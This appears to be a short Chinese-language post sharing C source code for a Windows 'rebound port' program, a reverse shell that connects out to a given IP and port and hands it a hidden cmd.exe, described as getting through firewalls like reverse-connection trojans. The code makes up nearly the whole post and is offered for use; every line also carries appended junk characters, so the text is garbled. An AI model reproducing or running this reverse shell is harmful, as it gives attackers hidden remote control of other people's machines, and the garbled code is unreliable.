这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3W}qNY;J
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/* ============================== w$jq2?l
Rebound port in Windows NT Nzl`mx16
By wind,2006/7 c"zE
===============================*/ C^*}*hYk$
#include M>u84|`
#include B*n_
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#pragma comment(lib,"wsock32.lib") ja^
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void OutputShell(); j){0>O.V
SOCKET sClient; pf#~|n#t
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s"(F({J
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void main(int argc,char **argv) Z._%T$8aJv
{ bDnT><eH
WSADATA stWsaData; Wo6C0Z3g}
int nRet; I|_U|H!`
SOCKADDR_IN stSaiClient,stSaiServer; ,$"T/yYer
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if(argc != 3) bRI `ZT0
{ q1Ehl
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printf("Useage:\n\rRebound DestIP DestPort\n"); nk2H^RM^
return; q5~"8]Dls
} ?J6\?ct4
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WSAStartup(MAKEWORD(2,2),&stWsaData); rDC=rG
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =/(R_BFna
_ECH(
stSaiClient.sin_family = AF_INET; LNM#\fb
stSaiClient.sin_port = htons(0); z
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "`
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {r:5\
{ A4Tjfc,rx9
printf("Bind Socket Failed!\n"); [y(<1]i-a
return; T)MZ`dM
} N`+@_.iBX
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stSaiServer.sin_family = AF_INET; %APeQy"6#^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Em/? 4&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); p`}G"DM
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !XT2'6nu
{ X9o6} %Y
printf("Connect Error!"); )u.%ycfeV
return; -8z@FLUK-
} W.?EjEx
OutputShell(); |yi#6!}^
} W&e}*
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void OutputShell() h4=7{0[
{ 3j/~XT
char szBuff[1024]; wPr!.:MF
SECURITY_ATTRIBUTES stSecurityAttributes; 5N$O
OSVERSIONINFO stOsversionInfo; _"lW
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Nj+gSa9
STARTUPINFO stStartupInfo; r~PVh?
char *szShell; d ZxrIWx
PROCESS_INFORMATION stProcessInformation; MR.c?P?0Q
unsigned long lBytesRead; T:S[[#f{5
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }W
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'J_6SD
stSecurityAttributes.lpSecurityDescriptor = 0; no7Q%O9
stSecurityAttributes.bInheritHandle = TRUE; [wM]w
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i=\`f& B
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); oTk?a!Q
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); oe{,-<yck
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |[MtUWEW
stStartupInfo.wShowWindow = SW_HIDE; A8 j$c ~
stStartupInfo.hStdInput = hReadPipe; :-e[$6}S
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; LteZ7e
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GetVersionEx(&stOsversionInfo); oZw #]Q@
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switch(stOsversionInfo.dwPlatformId) PPj%.i)
{ Y9y'`}+
case 1: <MgC7S2I
szShell = "command.com"; h&<>nK
break; SH;:bLk_
default: V~S(cO[vj
szShell = "cmd.exe"; #~`d
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break; ejlau#8"
} C*Wyw]:r
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); t`'5|
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send(sClient,szMsg,77,0); =90)=Pxd
while(1) 2\9OT>
{ '?qI_LP?
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i`7:^v;
if(lBytesRead) 7>xfQ
{ }/M`G]wT#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?Y_!Fr3V
send(sClient,szBuff,lBytesRead,0); :KBy(}V
} (dAE
else rz.`$
{ WU{9lL=
lBytesRead=recv(sClient,szBuff,1024,0); |/~ISB
if(lBytesRead<=0) break; ~o8x3`CoF
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3(=QY)
} h:{^&d
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} e6_`
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return; `_ )5K u}
}